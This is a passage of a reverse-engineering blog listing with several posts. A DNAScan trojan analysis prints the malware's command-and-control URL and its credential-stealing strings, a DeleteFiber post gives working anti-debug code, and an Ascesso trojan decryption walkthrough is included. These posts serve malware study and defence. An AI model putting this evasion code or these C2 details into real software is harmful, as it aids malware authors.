    0040A091 PUSH ESI
    0040A092 PUSH ESI
    0040A093 CALL DWORD PTR DS:[415130]

    after opening this thread the first socket is closed. Now the next important function called is SHGetFolderPath witch sets as folders \user\cookies, finally execution jumps to a secondary thread that contains a recvfrom

    Code:
    00409F89 PUSH EDI
    00409F8A PUSH EDI
    00409F8B PUSH EDI
    00409F8C PUSH 4000
    00409F91 PUSH ESI
    00409F92 PUSH DWORD PTR SS:[EBP+8]
    00409F95 CALL DWORD PTR DS:[415268];recvfrom

    by watching the buffer out (second parameter) we can see what arrives to DNAScan

    001644B8 E..a......=
    001644D8 .... EFFGEJEMEDFCFJCNDFDGE
    001644F8 CDFDIEEDIAA. FHEPFCELEHFCEPFFFAC
    00164518 ACACACACACABN.SMB%.............
    00164538 ............................
    00164558 ......V......\MAILSLOT\BRO
    00164578 WSE...........................

    this recvfrom is repeated until certain conditions that depends from watch application receives,
    under certain conditions sento from server reacts. After setting this is builded another thread that makes use of a classical server architecture

    • * Socket
    • * Listen
    • * Accept

    Next networking operation is the Pipe building

    Code:
    00407DCF PUSH 0
    00407DD1 PUSH 0
    00407DD3 PUSH 400
    00407DD8 PUSH 400
    00407DDD PUSH 0FF
    00407DE2 PUSH 0
    00407DE4 PUSH 3
    00407DE6 PUSH OFFSET srcdll.004025B4; ASCII "\\.\pipe\ie_down_pipe"
    00407DEB CALL; Jump to kernel32.CreateNamedPipeA
    00407DF0 CMP EAX,-1
    00407DF3 JNE SHORT 00407DF7
    00407DF5 JMP SHORT 00407E58
    00407DF7 MOV DWORD PTR SS:[EBP-4],EAX
    00407DFA MOV DWORD PTR SS:[EBP-8],0
    00407E01 PUSH 0
    00407E03 PUSH DWORD PTR SS:[EBP-4]
    00407E06 CALL; Jump to kernel32.ConnectNamedPipe
    This creates a named pipe \\.\pipe\ie_down_pipe and successively Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

    At this point is assembled the following string

    00401620 http://%s%s?user_id=%.4u&version_id=%s&passphrase=%s&socks=%lu&v
    00401660 ersion=%lu&crc=%.8x.URL: sniffer_ftp_%s..ftp_server=%s&ftp_login
    004016A0 =%s&ftp_pass=%s&version=%lu.URL: sniffer_pop3_%s..pop3_server=%s
    004016E0 &pop3_login=%s&ftp_pass=%s.URL: sniffer_imap_%s..imap_server=%s
    00401720 &imap_login=%s&imap_pass=%s.URL: sniffer_icq_%s..icq_user=%s&icq
    00401760 _pass=%s.SharedAccess.wscsvc.=.GET_COOK.VER.EXE.DL.DL_EXE.DL_EXE
    004017A0 _ST.REBOOT.\%lu.exe./upd %lu
    as you can see there are a couple of interesting strings like

    • * ftp_pass=%s
    • * imap_pass=%s
    • * sniffer_pop3_%s
    • * sniffer_icq_%s


    Code:
    0040587D PUSH EAX
    0040587E PUSH DWORD PTR SS:[EBP-4];take a look here
    00405881 PUSH 0
    00405883 CALL; Jump to wininet.FindFirstUrlCacheEntryA

    this api enumerates the Internet cache, to see what comes out just watch the second parameter

    Code:
    0040588F MOV EAX,DWORD PTR SS:[EBP-4]
    00405892 MOV ECX,DWORD PTR DS:[EAX+4]
    00405895 PUSH ECX
    00405896 PUSH DWORD PTR SS:[EBP+8]
    00405899 PUSH ECX
    0040589A CALL; Jump to shlwapi.StrStrIA
    0040589F POP ECX
    004058A0 OR EAX,EAX
    004058A2 JE SHORT 004058AA
    004058A4 PUSH ECX
    004058A5 CALL; Jump to wininet.DeleteUrlCacheEntry
    004058AA MOV DWORD PTR SS:[EBP-8],1000
    004058B1 LEA EAX,[EBP-8]
    004058B4 PUSH EAX
    004058B5 PUSH DWORD PTR SS:[EBP-4]
    004058B8 PUSH DWORD PTR SS:[EBP-0C]
    004058BB CALL; Jump to wininet.FindNextUrlCacheEntryA
    004058C0 JMP SHORT 0040588B
    004058C2 PUSH DWORD PTR SS:[EBP-0C]
    004058C5 CALL; Jump to wininet.FindCloseUrlCache
    this piece of code scans Url Cache to find the previously seen IP address and if discovered, removes it with DeleteUrlCacheEntry.

    Code:
    00405937 PUSH EAX
    00405938 PUSH OFFSET srcdll.0040A872; ASCII "http://91.213.94.130/cgi-bin/options.cgi?user_id=373125111&version_id=17
    &passphrase=fkjvhsdvlksdhvlsd&socks=9180&version=132&crc=00000000"
    0040593D PUSH 0
    0040593F CALL; Jump to urlmon.URLOpenBlockingStreamA
    Creates a blocking type stream object from a URL and downloads the data from the Internet. When the data is downloaded the client application or control can read it by using the IStream::Read method.

    By analysing the URL we can extract the following informations:

    Code:
        * user_id=373125111
        * version_id=17
        * passphrase=fkjvhsdvlksdhvlsd
        * socks=9180
        * version=132
        * crc=00000000
    When you step URLOpenBlockingStreamA be aware that this function presents thread and fiber functionalities to speed up and make an easier analysis approach just detach for one step the New Thread Break Event. If incidentally you have this Event enabled, surf between threads with Execute till Return and Run Actual Thread.

    _Next Thread_

    Here the malicious application scans into C:\Documents and Settings\evilcry\Cookies\ cookie by cookie

    Code:
    00408305 PUSH DWORD PTR SS:[EBP+8]; ASCII "C:\Documents and Settings\evilcry\Cookies\"
    00408308 PUSH EDI
    00408309 CALL; Jump to kernel32.lstrcpyA
    0040830E MOV EDX,DWORD PTR SS:[EBP-8]
    00408311 LEA EDX,[EDX+2C]
    00408314 PUSH EDX
    00408315 PUSH EDI
    00408316 CALL; Jump to kernel32.lstrcatA
    0040831B PUSH EDI
    0040831C CALL; Jump to kernel32.DeleteFileA
    00408321 PUSH DWORD PTR SS:[EBP-8]
    00408324 PUSH DWORD PTR SS:[EBP-4]
    00408327 CALL; Jump to kernel32.FindNextFileA
    0040832C TEST EAX,EAX
    0040832E JNE SHORT 004082E5
    00408330 PUSH DWORD PTR SS:[EBP-4]
    00408333 CALL; Jump to kernel32.FindClose
    Successively by using ad usual CreateToolhelp32Snapshot and Process32First/Process32Next and WriteProcessMemory DNAScan injects some pieces of code in various system processes. This is essentially not useful for our analysis scopes actually.


    Code:
    0040795B 55 PUSH EBP
    0040795C 8BEC MOV EBP,ESP
    0040795E 83C4 F8 ADD ESP,-8
    00407961 53 PUSH EBX
    00407962 E8 57F6FFFF CALL 00406FBE
    Inside the call

    Code:
    00406FC9 PUSH OFFSET srcdll.0040B87E
    00406FCE PUSH 1
    00406FD0 PUSH 0
    00406FD2 CALL; Jump to OLE32.CreateStreamOnHGlobal
    The CreateStreamOnHGlobalfunction creates a stream object that uses an HGLOBAL memory handle to store the stream contents. This object is the OLE-provided implementation of the IStream interface.


    Code:
    00406FE1 PUSH OFFSET srcdll.0040B87A
    00406FE6 PUSH srcdll.00401B50; ASCII "pstorec.dll"
    00406FEB CALL 00406F71; Loads from pstorec.dll PStoreCreateInstance
    00406FF0 TEST EAX,EAX
    00406FF2 JE SHORT 00407033
    00406FF4 PUSH OFFSET srcdll.0040B882
    00406FF9 PUSH srcdll.00401B73; ASCII "crypt32.dll"
    CALL 00406F71; Loads from crypt32.dll CryptUnprotectData
    
    00407009 PUSH EAX
    0040700A PUSH EAX
    0040700B PUSH EAX
    0040700C LEA EDX,[40B876]
    00407012 PUSH EDX
    00407013 CALL DWORD PTR DS:[40B87A];PStoreCreateInstance
    Protected Storage (Pstore) is available for use in Windows ...
    Categories
    Reverse Engineering
  10. Site Relaunch

    Hi,

    The relaunch of my website is now live, it is
    available via the link at the bottom of woodmann
    as usual or the following urls

    www.reverse-engineering.info
    www.woodmann.com/yates

    In the upcoming week i shall be releasing some
    new articles :-)

    Merry Christmas,

    Rob.
    Categories
    Uncategorized
  11. Eeye BinDiffing Trick

    Hi,

    Around here exist truly intersting tools for Binary Diffing, useful for Vulnerability Research and or Malware Analysis.

    The two most famous tools are:

    • Sabre Security BinDiffv2
    • Eeye Binary Diffing Suite (EBDS)


    The eEye Binary Diffing Suite (EBDS) is a free and open source set of utilities for performing automated binary differential analysis, but has a little problem, seems to be explicitly developed for IDA 5.0, and no other IDA’s versions are supported.

    But there is a trick to avoid that an make it working with all IDA’s Versions.

    Open with Regedit the following RegKey:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IDA Pro_is1

    And change the Key Entry DisplayName with the string IDA Pro Standard v5.0 or IDA Pro Professional v5.0

    and..

    Happy Diffing

    See you to the next post..
    Categories
    TechLife
  12. Inside DeleteFiber() as Anti Debug Trick

    Hi,

    Malware is often really boring to reverse because in high percentage they implements basical well known mechanisms of infection and self protection.
    But sometimes there are really intersting malware that implements innovative techniques, this is the case of a trojan borned into 2006 that implemented DeleteFiber() as Anti–Debug Trick in a really easy and smart way.

    To understand how it works, let's see whar DeleteFiber is, directly from MSDN:

    Deletes an existing fiber.

    Syntax

    Code:
    VOID WINAPI DeleteFiber(
      __in  LPVOID lpFiber
    );
    lpFiber is the address of the fiber to be deleted.

    Important to say that the DeleteFiber function deletes all data associated with the fiber. This data includes the stack, a subset of the registers, and the fiber data.

    Now let's see a basical use of DeleteFiber():

    Code:
    #define _WIN32_WINNT 0x0400
    #include <windows.h>
    
    int main(void)
    {
    	char fiber[1024] = {0};		
    	DeleteFiber(fiber);	
    	return EXIT_SUCCESS;
    }
    After showing the basical use of DeleteFiber let's see how can be implemented as Anti-Debug Trick, I insert here direcly the code:

    Code:
    #define _WIN32_WINNT 0x0400
    #include <windows.h>
    #include <stdio.h>
    
    int main(void)
    {
          char fib[1024] = {0};	
    	DeleteFiber(fib);
    
    	if(GetLastError() == 0x00000057)
    		MessageBoxA(NULL,"This process is NOT debugged","Info",MB_OK);
    	else
    		MessageBoxA(NULL,"This process IS debugged","Info",MB_OK);
    	
    	
    	return EXIT_SUCCESS;
    }
    As you can understant we can resume this trick into two cases:

    If the process is NOT debugged DeleteFiber give us an Error Code of 0x00000057 that corresponds to ERROR_INVALID_PARAMETER
    If the process IS debugged the error code is differs from 0x00000057

    What to say it's really easy to implement and really effective for all kind of debuggers, with a bit of junk code that confuses ideas the conditional check could be placed really distant from the DeleteFiber() itself.

    Inside DeleteFiber()


    Now we will see how DeleteFiber internally works to understand why this should be used as Anti-Debug trick.

    This is the Dead List:

    Code:
    00401000  PUSH DF.00403370
    00401005  CALL DWORD PTR DS:[<&KERNEL32.DeleteFiber>;  kernel32.DeleteFiber
    
    inside DeleteFiber()
    
    7C825A9F >   MOV EDI,EDI          ; DF.00403778
    7C825AA1     PUSH EBP
    7C825AA2     MOV EBP,ESP
    7C825AA4     PUSH ECX
    7C825AA5     PUSH ESI
    7C825AA6     MOV EAX,DWORD PTR FS:[18]     ;_TEB Struct
    7C825AAC     MOV ECX,DWORD PTR DS:[EAX+10] ;pointer to _TIB.FiberData field
    7C825AAF     MOV ESI,DWORD PTR SS:[EBP+8]  ;lpFiber
    7C825AB2     CMP ECX,ESI
    7C825AB4     JE kernel32.7C826596          ;ExitThread if( FiberData == lpfiber)
    7C825ABA     AND DWORD PTR SS:[EBP-4],0    ;Clears this Stack location
    7C825ABE     PUSH 8000                     ;MEM_RELEASE
    7C825AC3     LEA EAX,DWORD PTR SS:[EBP-4]  
    7C825AC6     PUSH EAX
    7C825AC7     LEA EAX,DWORD PTR DS:[ESI+10]
    7C825ACA     PUSH EAX
    7C825ACB     PUSH -1
    7C825ACD     CALL DWORD PTR DS:[<&ntdll.NtFreeVirtual>  ntdll.ZwFreeVirtualMemory
    7C825AD3     MOV EAX,DWORD PTR FS:[18]        ;_TEB Struct
    7C825AD9     MOV EAX,DWORD PTR DS:[EAX+30]    ;points to _PEB Struct
    7C825ADC     PUSH ESI                         ;lpFiber
    7C825ADD     PUSH 0                           ;0x00000000
    7C825ADF     PUSH DWORD PTR DS:[EAX+18]       ;PEB.ProcessHeap
    7C825AE2     CALL DWORD PTR DS:[<&ntdll.RtlFreeHeap>] ; ntdll.RtlFreeHeap
    7C825AE8     POP ESI
    7C825AE9     LEAVE
    7C825AEA     RETN 4

    In the first part of DeleteFiber is retrived the _TEB structure and specifically a member of _TIB structure located at 10h

    0:003> dt nt!_TEB -b
    ntdll!_TEB
    +0x000 NtTib : _NT_TIB
    +0x000 ExceptionList : Ptr32
    ...
    +0x00c SubSystemTib : Ptr32
    +0x010 FiberData : Ptr32

    and next if FiberData is equal to our Fiber's Address it means that Fiber is suicinding itself and system calls ExitThread(), next we can notice a NtFreeVirtualMemory call with the following parameters:

    Code:
    NtFreeVirtualMemory(NtCurrentProcess(), &pStackAllocBase,&nSize,MEM_RELEASE);
    The system deallocates the used stack and finally calls RtlFreeHeap in this manner:

    Code:
    RtlFreeHeap(GetProcessHeap(), 0, lpFiber);
    This last call clarifies totally the presence of ERROR_INVALID_PARAMETER because has we have seen DeleteFiber is directly correlated with Heap, and Heap Memory presents a set of Flags that characterize the Heap itself.
    These Flags differs in case the process IS debugged or NOT, so we can suppose that these flags are created when the exe itself is executed, in other words at Process Creation Time. Under Windows NT processes are created through PspUserThreadStartup and inside it we can found LdrInitializeThunk, that as Russinovich sais The LdrInitializeThunk routine initializes the loader, heap manager, NLS tables, thread-local storage (TLS) array, and critical section structures. By going more deep we can see that there is a specific function that fill the PEB Struct of the new process MmCreatePeb(), PEB is important because between his various fields are stored Heap Flags of our process. I'm talking about NtGlobalFlag, for a debugged process these flags are:

    #define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010
    #define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020
    #define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040


    Now if a process has these flags enabled ( HeapDebug ) RtlFreeHeap will fail the Heap freeing and this error will be propagated to DeleteFiber() that will exit with an ERROR_INVALID_PARAMETER.

    Anti Anti-Debug


    Due to the fact that the Heap Validation is accomplished at Processs Creation Time, one countermeasure against Anti-Debug will be to attach the debugger after that the process is created.
    If you are using WinDbg could be used the HeapDebug option ( -hd )
    Between the function involved in process creation we have also LdrQueryImageFileExecutionOptions that mantains trace of IFEO ( Image File Execution Options structure) this struct is located into Registry under the path [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\]
    The various possible values are:
    Debugger
    DisableHeapLookaside
    ShutdownFlags
    MinimumStackCommitInBytes
    ExecuteOptions
    GlobalFlag
    DebugProcessHeapOnly
    ApplicationGoo
    RpcThreadPoolThrottle
    GlobalFlag can be used to modify NtGlobalFlag, so if you set this key entry to NULL, Heap of the debugged program will looks as an undebugged one, read this as an Anti-Anti Debug Trick .

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Target.exe]
    "GlobalFlag"=""



    Regards,
    Giuseppe 'Evilcry' Bonfa'
  13. Some words on how to decrypt trojan Ascesso

    This post is a little bit long, for a better reading you can download the pdf version here: http://www.box.net/shared/static/nexbjpy0p6.pdf

    Roaming around Symantec web pages I stumbled on a review of a trojan named Ascesso. The malware does a lot of things that are described inside the “Technical details” section. I decided to give it a try just because it’s interesting to read what a malware does, but it’s much more funny when you play with it! In this blog entry I won’t talk about what the malware does, but I’ll write something about the way I used to obtain a readable dead list inside Ida. One of the next blog entry could be focused on the analysis of the malware, don’t know.

    The file I’m going to analyze is named asc3550.sys, md5=BBEB49A32417226CABED3E104A9C94B5.
    The malware is crypted, I think it’s a home made protection. If you load the file in Ida you are not able to see too much, almost all the code has been crypted. To view the uncrypted malware you have two options: you can run the driver dumping the memory image using a ring0 dumper (i.e. softice+icedump), or you can use Ida trying to convert the initial output into something really closer to the original driver. Generally, I like to work on a simple dump of the packed/crypted file, but with a driver I prefer to work on a perfect file. With a simple dump of the image you’ll have to deal with instructions like:
    Code:
    .text:0040381B   call  dword ptr ds:0F77B3664h
    .text:004028F9   mov   dword ptr [edi], 0F77AF000h
    .text:0040294E   movzx eax, byte ptr ds:0F77B36D2h
    It’s hard to say what’s going on when you have unknown addresses in front of you. I think you’ll prefer to look at something like:
    Code:
    .text:0040381B   call  ds:_ExAllocatePoolWithTag
    .text:004028F9   mov   dword ptr [edi], offset __ImageBase
    .text:0040294E   movzx eax, ds:byte_4046D2
    This is what I’m going to do.


    Initial decryption
    When you load the file in Ida the decryption routine is the only visible code:
    Code:
    00400240 000    jmp  short loc_400257   ; Entry point
    00400242     sub_400242 proc near
    00400242
    00400242     arg_4= dword ptr  8
    00400242
    00400242 000    lea  edx, [esp+arg_4]
    00400246 000    mov  edx, [edx]
    00400248 000    mov  edx, [edx+0Ch]
    0040024B 000    add  edx, 9540h
    00400251 000    mov  eax, 9AEDh
    00400256 000    retn
    00400256     sub_400242 endp
    00400257     loc_400257:
    00400257 000    call sub_400242
    0040025C 000    pusha
    0040025D 020    push 55Ch
    00400262 024    pop  ecx
    00400263     Decrypt_1:
    00400263 020    mov  eax, [edx]        ; Current dword to decrypt
    00400265 020    sub  eax, 0FA598390h   ; Decryption: sub operation
    0040026A 020    mov  [edx], eax        ; Save the decrypted dword
    0040026C 020    lea  edx, [edx+4]      ; Next dword to decrypt
    0040026F 020    sub  ecx, 4
    00400272 020    test ecx, ecx
    00400274 020    jnz  short Decrypt_1
    00400276 020    popa
    00400277 000    mov  ecx, 9B29h
    0040027C 000    add  edx, 2
    0040027F 000    add  edx, 6
    00400282 000    jmp  edx
    These are the starting instructions. Reading through various forums I had the impression that most of the people have some problems trying to anaylize this kind of snippets. It’s pretty obvious what the snippet does, it’s a simple decryption routine consisting in a sub operation. The main problem is: which part of code will be decrypted? Everything depends on value stored inside edx register, which is obtained by the instructions inside the call 400242:
    Code:
    00400242 lea  edx, [esp+8]     ; stack value
    00400246 mov  edx, [edx]       ; edx is an address !?!
    00400248 mov  edx, [edx+0Ch]   ; edx points to a structure !?!
    0040024B add  edx, 9540h       ; add operation
    How to know the exact value pointed by [esp+8]? Taking in mind that the file I’m analyzing is a .sys file you can get the value inside the stack with a simple deducting reasoning.

    The first driver instruction is the one at 400240, but who brings me there? I mean, there should be an instruction which is executed before the one at 400240. The instruction is a call and it’s somewhere inside IopLoadDriver function (in ntoskrnl.exe):
    Code:
    PAGE:004DCFE2 020 push [ebp+68h+PreviousMode]   ; PUNICODE_STRING RegistryPath
    PAGE:004DCFE5 024 push edi                      ; PDRIVER_OBJECT pDriverObject
    PAGE:004DCFE6 028 call dword ptr [edi+2Ch]      ; Call DriverEntry
    [edi+2C] points to DriverInit, 400240 in this particular case. Look at the last parameter (pDriverObject), it’s really important. You have to concentrate on the stack only, when you are at the first driver instruction you’ll have something like:
    Code:
    esp+00h: IopLoadDriver_return_address
    esp+04h: pDriverObject
    esp+08h: RegistryPath
    esp+0Ch: …
    Here’s how the stack looks like when you are inside the “call sub_400242″, at address 400242:
    Code:
    esp+00h: call_400242_return_address
    esp+04h: IopLoadDriver_return_address
    esp+08h: pDriverObject
    esp+0Ch: RegistryPath
    esp+10h: …
    Now it’s pretty easy to retrieve the starting value of edx:
    Code:
    00400242 lea  edx, [esp+8]        ; edx = pDriverObject
    00400246 mov  edx, [edx]          ; edx points to the first byte of DRIVER_OBJECT structure
    00400248 mov  edx, [edx+0Ch]      ; edx = DRIVER_OBJECT+0Ch
    0040024B add  edx, 9540h          ; edx = edx + 0×9540
    Just a little more step and you’ll have the value we are searching for. Look a the definition of the DRIVER_OBJECT structure, taken from ntddk.h:
    Code:
    typedef struct _DRIVER_OBJECT {
    CSHORT Type;                   // +0×00
    CSHORT Size;                   // +0×02
    PDEVICE_OBJECT DeviceObject;   // +0×04
    ULONG Flags;                   // +0×08
    PVOID DriverStart;             // +0×0C
    ULONG DriverSize;              // +0×10
    PVOID DriverSection;           // +0×14
    PDRIVER_EXTENSION DriverExtension;   // +0×18
    UNICODE_STRING DriverName;           // +0×1C
    PUNICODE_STRING HardwareDatabase;    // +0×24
    PFAST_IO_DISPATCH FastIoDispatch;    // +0×28
    PDRIVER_INITIALIZE DriverInit;       // +0×2C
    PDRIVER_STARTIO DriverStartIo;       // +0×30
    PDRIVER_UNLOAD DriverUnload;         // +0×34
    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];   // +0×38
    } DRIVER_OBJECT;
    DRIVER_OBJECT+0Ch is DriverStart, the memory address that points to the first byte of the driver. I don’t have the possibility to know the exact value stored inside DriverStart field, but for a static analysis you can suppose that the address is the ImageBase: 0×400000. It comes out that the edx value we want is: 0×400000+0×9540 = 0×409540

    It’s time to decrypt the bytes using this simple idc script:
    Code:
    #include 
     static main()
    {
       auto CurrentAddress, i;
       
       CurrentAddress = 0×409540;
       for(i=0×55C;i>0;i=i-4)
       {
          PatchDword(CurrentAddress, (Dword(CurrentAddress) - 0xFA598390));
          CurrentAddress = CurrentAddress + 4;
       }
    
       Message(”\nDecryption done, last address: %X”, CurrentAddress);
    }
    I inserted the Message function just because I wanted to see the first non-decrypted address: 0×409A9C; you can remove the function, if you prefer.
    Ok, now that the decryption is complete I have to look at the decrypted code. The last instruction of the initial decryption routine will bring me directly at a fresh decrypted instruction, which is the next instruction to be executed?
    Code:
    00400276 popa              ; edx = 0×409540
    00400277 mov  ecx, 9B29h   ; ecx = 0×9B29
    0040027C add  edx, 2       ; edx = 0×409540 + 2 = 0×409542
    0040027F add  edx, 6       ; edx = 0×409542 + 6 = 0×409548
    00400282 jmp  edx          ; jmp 0×409548
    The decrypted code is a small routine, all the other bytes of the file are still crypted; maybe I have to deal with some more layers. The decrypted code contains an initializations part, some calls end a final jmp instruction.


    Initialization

    It’s pretty easy to understand the initialization code. I won’t attach any snippet,it’s only a sequence of mov/add/lea instructions used to retrieve/store some special values that are used later.
    At the end of the initialization part there’s a piece of code which is used to move 0×44 bytes:
    Code:
    .reloc:00409592 add  edi, [ebp+401BF4h]   ; edi = 400240
    .reloc:00409598 lea  esi, [ebp+401D52h]   ; esi = 409A48
    .reloc:0040959E mov  ecx, 44h
    .reloc:004095A3 rep movsb
    Do you know what 400240 is? It’s the entry point of the file. It’s something to remember for the next decryption script.


    Sections decryption
    The first interesting piece of code is located inside a call at 0×4095C1, before studying the call I prefer to take a look at the parameters:
    Code:
    .reloc:004095B1 push dword ptr [ebp+401BF8h]   ; ebp+401BF8 and ebp+401BEC were setted
    .reloc:004095B7 push dword ptr [ebp+401BECh]   ; up in the initialization part
    .reloc:004095BD push 1
    .reloc:004095BF push eax
    .reloc:004095C0 push ebx
    .reloc:004095C1 call Decrypt_First_5_Sections
    I can’t get any clue from the parameters, I can’t say nothing else without spying the code. After a little investigation over the previous instructions I discover what the parameters are:
    - ebx = DriverStart
    - eax = 0×409A38
    - 1
    - dword ptr [ebp+401BECh] = 0×9540
    - dword ptr [ebp+401BF8h] = 0×8FA0

    Just wait some minutes and I’ll tell you everything about these parameters.
    As you can see I renamed the call, the name suggests ...

    Updated October 4th, 2007 at 13:09 by ZaiRoN

    Categories
    Uncategorized
  14. Doing it without Weird Hacks (tm) is even easier

    why is this box so small?:P
    Code:
    /*
     * Import table maker (C) 2007 upb [at] preteam [dot] org
    */
    
    #include <string>
    #include <cassert>
    #include <vector>
    #include <map>
    #include <sstream>
    #include <iostream>
    #include <iomanip>
    
    typedef unsigned long DWORD;
    typedef unsigned short WORD;
    
    struct CornField
    {
    	typedef DWORD Groove;
    	typedef std::vector<unsigned char> t_ground;
    
    	void pick(std::stringstream& basket)
    	{		
    		for (t_ground::const_iterator iG = ground.begin(); iG != ground.end(); ++iG)
    			basket << *iG;
    	}
    
    	class OneHundredPercentPureAsm
    	{
    		OneHundredPercentPureAsm(CornField& isNot, Groove& theSolution) : isNot(isNot), theSolution(theSolution) { }
    		CornField& isNot;
    		Groove& theSolution;
    		
    		public:
    		void operator<<(WORD plant)
    		{ 
    			std::cout << "[" << std::hex << std::setw(4) << theSolution << "] W " << plant << std::endl;
    			isNot.poke(theSolution, static_cast<t_ground::value_type>(plant & 0xFF));
    			isNot.poke(theSolution, static_cast<t_ground::value_type>((plant >> 8) & 0xFF));
    		};
    
    		void operator<<(DWORD plant)
    		{ 
    			std::cout << "[" << std::hex << std::setw(4) << theSolution << "] D " << plant << std::endl;
    			isNot.poke(theSolution, static_cast<t_ground::value_type>(plant & 0xFF));
    			isNot.poke(theSolution, static_cast<t_ground::value_type>((plant >> 8) & 0xFF));
    			isNot.poke(theSolution, static_cast<t_ground::value_type>((plant >> 16) & 0xFF));
    			isNot.poke(theSolution, static_cast<t_ground::value_type>((plant >> 24) & 0xFF));
    		};
    
    		void operator<<(const std::string& plant)
    		{
    			std::cout << "[" << std::hex << std::setw(4) << theSolution << "] S " << plant << std::endl;
    			for (std::string::const_iterator kw = plant.begin(); kw != plant.end(); kw++)
    				isNot.poke(theSolution, static_cast<t_ground::value_type>(*kw));
    
    			isNot.poke(theSolution, static_cast<t_ground::value_type>(0));
    		};
    
    		friend struct CornField;	// we become
    	};
    
    	OneHundredPercentPureAsm operator[](Groove& idx)
    	{
    		return OneHundredPercentPureAsm(*this, idx);
    	}
    
    	virtual void poke(Groove& target, t_ground::value_type seed)
    	{
    		if (ground.size() < target + 1)
    			ground.resize(target + 1);
    		ground[target++] = seed;
    	}
    
    	virtual Groove start() { return 0; }
    
    	t_ground ground;
    	friend class OneHundredPercentPureAsm;		// one
    };
    
    struct MirageCornField : public CornField
    {
    	MirageCornField(CornField::Groove horizonDistance) : CornField(), horizonDistance(horizonDistance) { }
    
    	virtual Groove start() { return horizonDistance; }
    	virtual void poke(Groove& target, t_ground::value_type seed)
    	{
    		Groove actual(target - horizonDistance);
    		Groove old(actual);
    		CornField::poke(actual, seed);
    
    		target += actual - old;
    	}
    
    	private:
    		CornField::Groove horizonDistance;
    };
    
    struct LibraryImport
    {
    	LibraryImport() : ordinal(0) { };
    	LibraryImport(DWORD target, const std::string& name) : ordinal(0), target(target), name(name), hasName(true) { }
    	LibraryImport(DWORD target, WORD ordinal) : target(target), ordinal(ordinal), hasName(false) { }
    
    	void plant(CornField& cornField, CornField::Groove& hole, CornField::Groove& nest) const
    	{
    		if (!hasName)
    		{
    			cornField[hole] << static_cast<DWORD>(0x80000000 | ordinal);
    		} else
    		{
    			cornField[hole] << nest;
    			cornField[nest] << ordinal;
    			cornField[nest] << name;
    		}
    	}
    
    	DWORD target;
    	std::string name;
    	WORD ordinal;
    	bool hasName;
    };
    
    typedef std::pair<std::string, LibraryImport> LibraryImportPair;
    
    struct ImportLibrary
    {
    	ImportLibrary& operator<<(const LibraryImportPair& rhs)
    	{
    		name = rhs.first;
    		return *this << rhs.second;	
    	}
    
    	ImportLibrary& operator<<(const LibraryImport& rhs)
    	{
    		if (imports.find(rhs.target) != imports.end())
    			throw new exception("target occupied");
    
    		imports[rhs.target] = rhs;
    		return *this;
    	}
    
    	virtual void plant(CornField& cornField, CornField::Groove& libGroove, CornField::Groove& nameGroove) const
    	{
    		CornField::Groove hop(nameGroove);
    		cornField[libGroove] << hop;											// OriginalFirstThunk
    		
    		nameGroove += sizeof(DWORD) * (imports.size() + 1);
    
    		for (t_imports::const_iterator iImp = imports.begin(); iImp != imports.end(); ++iImp)
    			iImp->second.plant(cornField, hop, nameGroove);		
    
    		cornField[hop] << static_cast<DWORD>(0);
    
    		cornField[libGroove] << static_cast<DWORD>(-1);			// TimeStamp
    		cornField[libGroove] << static_cast<DWORD>(-1);			// ForwarderChain
    		cornField[libGroove] << nameGroove;								// Name
    		cornField[libGroove] << unbelievablyTrickyCalculation();	// FirstThunk
    
    		cornField[nameGroove] << name;
    	}
    	
    	DWORD unbelievablyTrickyCalculation() const
    	{
    		return imports.begin()->second.target;							// Assume webbits havent eaten any corn between
    	}
    
    	typedef std::map<DWORD, LibraryImport> t_imports;
    	t_imports imports;
    	std::string name;
    
    	static const CornField::Groove	GrooveAllocation = sizeof(DWORD) * 5;
    	static ImportLibrary* FieldEnd;
    };
    
    struct LastImportLibrary : public ImportLibrary
    {
    	virtual void plant(CornField& cornField, CornField::Groove& libGroove, CornField::Groove& nameGroove) const
    	{
    		cornField[libGroove] << static_cast<DWORD>(0);
    		cornField[libGroove] << static_cast<DWORD>(0);
    		cornField[libGroove] << static_cast<DWORD>(0);
    		cornField[libGroove] << static_cast<DWORD>(0);
    		cornField[libGroove] << static_cast<DWORD>(0);
    	}
    };
    
    ImportLibrary* ImportLibrary::FieldEnd = new LastImportLibrary();
    
    struct ImportDirectory
    {
    	typedef std::map<std::string, ImportLibrary> t_importLibraries;
    
    	ImportDirectory& operator<<(const LibraryImportPair& rhs)
    	{
    		libraries[rhs.first] << rhs;
    		return *this;
    	}
    
    	void plant(CornField& cornField) const
    	{
    		CornField::Groove libGroove = cornField.start();
    		CornField::Groove libNameGroove = libGroove + (libraries.size() + 1 ) * ImportLibrary::GrooveAllocation;		
    
    		for (t_importLibraries::const_iterator iLib = libraries.begin(); iLib != libraries.end(); ++iLib)
    			iLib->second.plant(cornField, libGroove, libNameGroove);
    		ImportLibrary::FieldEnd->plant(cornField, libGroove, libNameGroove);
    	}
    
    	t_importLibraries libraries;
    };
    
     // <3 operator abuse
    LibraryImportPair operator/(const std::string& lhs, const LibraryImport& rhs)
    {
    	return std::make_pair(lhs, rhs);
    }
    
    int main(int argc, char* argv[])
    {
    	MirageCornField field(0x0010000);
    	ImportDirectory imports;
    	imports << "kernel32.dll" / LibraryImport(0x11223300, "ExitProcess")
    		<< "user32.dll" / LibraryImport(0x11224400, "DialogBoxParamA")
    		<< "kernel32.dll" / LibraryImport(0x11223304, "ZzZzzZ")
    		<< "kernel32.dll" / LibraryImport(0x11223308, "AaaAAAaExW");
    
    	imports.plant(field);
    	std::stringstream basket;
    	field.pick(basket);
    
    	for (size_t i = 0; i < basket.str().length(); ++i)
    	{
    		std::cout << std::hex << std::setw(2) << std::setfill('0') << (unsigned long)(basket.str()[i] & 0xFF) << ' ';
    		if ((i + 1) % 16 == 0)
    			std::cout << std::endl;
    	}
    	return 0;
    }
    
    /*
     * Warning to certain individuals: do not try to copy paste this code into tutorials, i will understand by the variable naming :p
    */
    .
    Categories
    Uncategorized
  15. The Point-R technique

    Hello.

